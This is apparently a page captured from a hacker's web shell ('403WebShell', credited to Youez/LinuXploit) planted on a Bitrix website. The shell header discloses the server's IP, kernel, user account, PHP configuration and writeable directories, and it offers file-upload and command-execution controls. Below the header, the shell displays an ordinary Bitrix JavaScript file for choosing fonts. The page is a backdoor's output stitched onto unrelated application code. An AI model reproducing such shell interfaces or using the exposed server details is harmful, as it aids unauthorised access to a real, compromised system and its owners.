%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.139.81.143
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field//font_field.js
;(function() {
	"use strict";

	BX.namespace("BX.Landing.UI.Field");
	BX.Runtime.loadExtension('landing.ui.component.link');

	var isFunction = BX.Landing.Utils.isFunction;
	var isPlainObject = BX.Landing.Utils.isPlainObject;
	var bind = BX.Landing.Utils.bind;
	var proxy = BX.Landing.Utils.proxy;
	var escapeHtml = BX.Landing.Utils.escapeHtml;
	var addClass = BX.Landing.Utils.addClass;
	var clone = BX.Landing.Utils.clone;

	var REG_CLASS_FONT = /g-font-(?!size-|weight-)[a-z0-9-]+/ig;
	var REG_NAME_FONT = /[a-z0-9 ]*[a-z0-9]/i;
	var REG_SYNTAX = /['|"]/g;
	var REG_SPACE = / /g;

	/**
	 * Implements interface for works with text field
	 *
	 * @extends {BX.Landing.UI.Field.BaseField}
	 *
	 * @inheritDoc
	 * @constructor
	 */
	BX.Landing.UI.Field.Font = function(data)
	{
		BX.Landing.UI.Field.BaseField.apply(this, arguments);
		addClass(this.layout, "landing-ui-field-font");

		this.value = data.value;
		this.headlessMode = data.headlessMode === true;
		this.frame = data.frame;
		this.items = [];
		this.defaultFontFamily = null;
		this.defaultFontLink = new BX.Landing.UI.Component.Link({
			text: BX.Landing.Loc.getMessage("LANDING_EDIT_BLOCK_DEFAULT_FONT"),
		});

		addClass(this.defaultFontLink.getLayout(), "landing-ui-field-font-link");

		if (isPlainObject(data.items))
		{
			var keys = Object.keys(this.items);
			this.items = keys.map(function(key) {
				return {name: this.items[key], value: key};
			}, this);
		}

		// Make event external event handler
		this.onChangeHandler = isFunction(data.onChange) ? data.onChange : (function() {});
		this.onValueChangeHandler = isFunction(data.onValueChange) ? data.onValueChange : (function() {});
		if (this.value)
		{
			this.content = escapeHtml(this.value.family);
			this.input.innerHTML = this.value.family;
		}
		else
		{
			this.content = escapeHtml(this.content);
			this.input.innerHTML = this.content;
		}

		if (this.frame)
		{
			this.element = this.frame.document.querySelectorAll(this.selector)[0];

			if (this.element)
			{
				var family = BX.style(this.element, "font-family");

				if (family)
				{
					family = family.replace(REG_SYNTAX, "");
					this.content = family.split(",")[0];
					this.input.innerHTML = this.content;
				}

				this.createLinkContainer();
				this.setConditionLink();
			}
		}

		bind(this.input, "click", proxy(this.onInputClick, this));
		this.defaultFontLink.subscribe('onClick', proxy(this.onLinkClick, this));
	};


	function makeFontClassName(family)
	{
		return "g-font-" + family.toLowerCase().replace(REG_SPACE, "-");
	}


	BX.Landing.UI.Field.Font.prototype = {
		constructor: BX.Landing.UI.Field.Font,
		__proto__: BX.Landing.UI.Field.BaseField.prototype,

		/**
		 * Handles input click event
		 * @param {MouseEvent} event
		 */
		onInputClick: function(event)
		{
			event.preventDefault();
			event.stopPropagation();

			BX.Landing.UI.Panel.GoogleFonts.getInstance().show().then(function(font) {
				if (!this.response)
				{
					this.response = clone(BX.Landing.UI.Panel.GoogleFonts.getInstance().response);
					this.response.forEach(function(fontItem) {
						this.items.push({name: fontItem.family, value: makeFontClassName(fontItem.family)});
					}, this);
				}

				this.setValue(font);
			}.bind(this));
		},

		/**
		 * Handles link click event
		 * @param {MouseEvent} event
		 */
		onLinkClick: function()
		{
			if (this.defaultFontFamily)
			{
				var foundedClasses = this.element.classList.value.match(REG_CLASS_FONT);
				if (foundedClasses !== null)
				{
					var element = this.element;
					foundedClasses.forEach(function(foundedClass) {
						element.classList.remove(foundedClass);
					});
				}
				this.content = this.defaultFontFamily.replace(REG_SYNTAX, "").split(",")[0];
				var font = {
					family: this.content
				};
				this.setValue(font);
			}
		},

		createLinkContainer: function()
		{
			this.linkContainer = document.createElement("div");
			this.linkContainer.classList.add('landing-ui-component-link-container');
			this.layout.append(this.linkContainer);
		},

		setConditionLink: function()
		{
			if (this.element)
			{
				var setHeaderTags = ['H1', 'H2', 'H3', 'H4', 'H5', 'H6', 'H7'];
				this.defaultFontFamily = getComputedStyle(document.body).fontFamily;
				this.isHeaderElement = setHeaderTags.includes(this.element.tagName);
				if (this.isHeaderElement)
				{
					var emptyHeader = document.createElement("H2");
					document.body.appendChild(emptyHeader);
					this.defaultFontFamily = getComputedStyle(emptyHeader).fontFamily;
					emptyHeader.remove();
				}
				this.defaultFont = this.defaultFontFamily.match(REG_NAME_FONT)[0];
				this.currentFont = getComputedStyle(this.element).fontFamily.match(REG_NAME_FONT)[0];
				if (this.defaultFont !== this.currentFont)
				{
					this.linkContainer.append(this.defaultFontLink.getLayout());
				}
				else
				{
					if (this.linkContainer.hasChildNodes())
					{
						this.linkContainer.removeChild(this.linkContainer.firstChild);
					}
				}
			}
		},

		setValue: function(value)
		{
			if (isPlainObject(value))
			{
				var className = makeFontClassName(value.family);
				var weightList = [100, 200, 300, 400, 500, 600, 700, 800, 900];
				var weightParams = ':wght@' + weightList.join(';');
				var family = value.family.replace(REG_SPACE, "+");
				var familyParams = family + weightParams;
				var href = BX.Landing.UI.Panel.GoogleFonts.getInstance().client.makeUrl({
					family: familyParams
				});

				if (this.headlessMode)
				{
					this.value = {
						family: value.family,
						public: 'https://fonts.google.com/specimen/' + family,
						uri: href,
					};
					this.input.innerHTML = escapeHtml(value.family);
					this.emit('onChange');
				}
				else
				{
					var FontManager = BX.Landing.UI.Tool.FontManager.getInstance();

					// Add font to current document
					FontManager.addFont({
						className: className,
						family: value.family,
						href: href,
						category: value.category
					}, window);

					// Update display field value
					this.input.innerHTML = escapeHtml(value.family);

					// Call handlers
					this.onChangeHandler(className, this.items, this.postfix, this.property);
					this.onValueChangeHandler(this);

					// Remove unused handlers
					FontManager.removeUnusedFonts();

					var headString = "";
					FontManager.getUsedLoadedFonts().forEach(function(item) {
						if (item.element)
						{
							item.element.setAttribute("rel", "stylesheet");
							item.element.removeAttribute("media");
							headString += "<noscript>"+item.element.outerHTML+"</noscript>\n";

							item.element.setAttribute("rel", "preload");
							item.element.setAttribute("onload", "this.removeAttribute('onload');this.rel='stylesheet'");
							item.element.setAttribute("as", "style");
							headString += item.element.outerHTML + "\n";
						}

						if (item.CSSDeclaration)
						{
							headString += item.CSSDeclaration.outerHTML;
						}
					});

					headString = headString
						.replace("async@load", "all")
						.replace(/data-loadcss="true"/g, "");
					BX.Landing.Backend.getInstance()
						.action("Landing::updateHead", {content: headString});
				}
			}

			this.setConditionLink();
		},

		getValue: function()
		{
			return this.value;
		}
	}
})();

Youez - 2016 - github.com/yon3zu
LinuXploit